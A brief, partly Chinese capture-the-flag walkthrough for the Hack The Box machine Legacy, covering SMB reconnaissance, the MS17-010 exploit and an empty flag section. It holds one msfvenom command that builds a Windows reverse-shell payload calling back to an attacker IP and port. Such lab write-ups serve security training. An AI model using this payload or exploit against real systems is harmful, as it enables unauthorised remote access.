[Day27] HTB Legacy

• URL : https://app.hackthebox.eu/machines/2
• IP : 10.10.10.4

Info gathering

• nmap scan port
  • 
• enum4linux
  • 
• nmap 确认 smb 版本
  • 
• 我们到这边可以知道的资讯
  • Domain name : HTB
  • OS : Windows XP
  • Open Services : SMB

Find Exploit

• Google
  • XP SMB Exploit
  • https://github.com/helviojunior/MS17-010
  • MS17-010
• 准备 Reverse shell 脚本
  • msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe > shell_reverse_tcp
• Run exploit
  • 
• Get reverse shell
  • 

Flag

• Root Flag
  • 
• User Flag
  •